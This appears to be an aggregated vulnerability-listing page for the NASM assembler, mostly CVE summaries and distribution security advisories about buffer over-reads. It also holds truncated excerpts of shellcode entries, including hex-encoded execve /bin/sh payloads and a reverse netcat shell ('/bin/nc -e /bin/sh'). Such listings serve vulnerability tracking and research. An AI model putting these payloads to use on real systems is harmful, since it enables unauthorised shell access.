CVE-2018-8881

CVE-2018-8881 affects Netwide Assembler (NASM) with a heap-based buffer over-read in the tokenize function (asm/preproc.c) caused by an unterminated string. Reported as part of NASM 2.13.02rc2 and related builds; OpenVAS/Nessus entries reiterate this CVE among a broad NASM set. No public remediat...

CVE-2018-8882

CVE-2018-8882 affects Netwide Assembler (NASM) 2.13.02rc2 and related builds. The vulnerability is a stack-based buffer under-read in ieee_shr (asm/float.c) triggered by a large shift value. Public references in connected documents confirm NASM’s history of multiple NASM-related CVEs, including t...

CVE-2018-8883

CVE-2018-8883 affects Netwide Assembler (NASM) 2.13.02rc2 with a buffer over-read in the parse_line function (asm/parser.c) caused by uncontrolled access to nasm_reg_flags. The provided documents identify the vulnerability; no explicit fix/patch information is given in the sources. Exploitation s...

CVE-2018-8881

Netwide Assembler NASM 2.13.02rc2 has a heap-based buffer over-read in the function tokenize in asm/preproc.c, related to an unterminated string...

CVE-2018-8883

Netwide Assembler NASM 2.13.02rc2 has a buffer over-read in the parseline function in asm/parser.c via uncontrolled access to nasmregflags...

UBUNTU-CVE-2018-8881

Netwide Assembler NASM 2.13.02rc2 has a heap-based buffer over-read in the function tokenize in asm/preproc.c, related to an unterminated string...

CVE-2018-8881

Netwide Assembler NASM 2.13.02rc2 has a heap-based buffer over-read in the function tokenize in asm/preproc.c, related to an unterminated string...

Updated nasm packages fix security vulnerabilities

This update provides nasm 2.13.03 and fixes the following security issues: In Netwide Assembler NASM 2.14rc0, there is a "SEGV on unknown address" that will cause a remote denial of service attack, because asm/preproc.c mishandles macro calls that have the wrong number of arguments. In Netwide...

MGASA-2018-0129 Updated nasm packages fix security vulnerabilities

This update provides nasm 2.13.03 and fixes the following security issues: In Netwide Assembler NASM 2.14rc0, there is a "SEGV on unknown address" that will cause a remote denial of service attack, because asm/preproc.c mishandles macro calls that have the wrong number of arguments. In Netwide...

Debian: Security Advisory (DLA-1041-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Fedora 27 : nasm (2018-b1f3217ae6)

Security fix for CVE-2017-17810 CVE-2017-17811 CVE-2017-17812 CVE-2017-17813 CVE-2017-17814 CVE-2017-17815 CVE-2017-17816 CVE-2017-17817 CVE-2017-17818 CVE-2017-17819 CVE-2017-17820 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update...

Fedora 26 : nasm (2018-48569250d1)

Security fix for CVE-2017-17810 CVE-2017-17811 CVE-2017-17812 CVE-2017-17813 CVE-2017-17814 CVE-2017-17815 CVE-2017-17816 CVE-2017-17817 CVE-2017-17818 CVE-2017-17819 CVE-2017-17820 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update...

Fedora Update for nasm FEDORA-2018-48569250d1

The remote host is missing an update for the SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Fedora Update for nasm FEDORA-2018-b1f3217ae6

The remote host is missing an update for the SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

[SECURITY] Fedora 27 Update: nasm-2.13.02-1.fc27

NASM is the Netwide Assembler, a free portable assembler for the Intel 80x86 microprocessor series, using primarily the traditional Intel instruction mnemonics and syntax...

BSD/x86 - execve (/bin/sh) Shellcode (28 bytes)

/ simply execvebinsh shellcode in 28 bytes written on nasm - my first nasm exp. greetz2: mig darknet /EFnet.org dev0id rus-sec /EFnet.org rootteam.void.ru / char shellcode = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd" "\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; void...

BSD/x86 - execve (/bin/sh) + seteuid(0) Shellcode (31 bytes)

/ simply execvebinsh+seteuid0 shellcode in 31 bytes written on nasm - my first nasm exp. greetz2: mig darknet /EFnet.org nerf nerf /EFnet.org dev0id rus-sec /EFnet.org rootteam.void.ru / char shellcode = "\x31\xc0\x50\xb0\xb7\xcd\x80\x50\x31\xc0\x50\x68\x2f\x2f\x73"...

Linux/x86-64 - Reverse TCP (127.0.0.1:1337/TCP) Netcat (/bin/nc) Shell (/bin/sh) Shellcode (109 byte

; Title: Shellcode linux/x86-64 connect back shell ; Author : Gaussillusion ; Len : 109 bytes ; Language : Nasm ;syscall: execve"/bin/nc","/bin/nc","ip","1337","-e","/bin/sh",NULL BITS 64 xor rdx,rdx mov rdi,0x636e2f6e69622fff shr rdi,0x08 push rdi mov rdi,rsp mov rcx,0x68732f6e69622fff shr...

CVE-2017-17816

In Netwide Assembler NASM 2.14rc0, there is a use-after-free in ppgetline in asm/preproc.c that will cause a remote denial of service attack...

CVE-2017-17818

In Netwide Assembler NASM 2.14rc0, there is a heap-based buffer over-read that will cause a remote denial of service attack, related to a while loop in pastetokens in asm/preproc.c...